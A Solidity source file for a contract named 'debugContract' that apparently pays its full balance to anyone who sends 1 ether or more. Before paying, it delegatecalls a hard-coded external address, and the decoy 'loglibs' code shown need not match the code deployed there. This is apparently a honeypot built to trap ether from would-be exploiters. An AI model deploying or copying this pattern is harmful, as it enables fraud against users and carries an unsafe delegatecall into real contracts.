File size: 710 Bytes
dec6d5d
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.19;
contract loglibs {
   mapping (address => uint256) public sendList;
   
   function logSendEvent() payable public{
        sendList[msg.sender] = 1 ether;
   }

}

contract debugContract
{
    address Owner=msg.sender;
    uint256 public Limit= 1 ether;
    address loglib = 0xBC3A2d9D5Cf09013FB6ED85d97B180EaF76000Bd;  

    function()payable public{}
    
    function withdrawal()
    payable public
    {

        if(msg.value>=Limit)
        {
            loglib.delegatecall(bytes4(sha3("logSendEvent()")));  
            msg.sender.send(this.balance);
        }
    }

    function kill() public {
        require(msg.sender == Owner);
        selfdestruct(msg.sender);
    }

}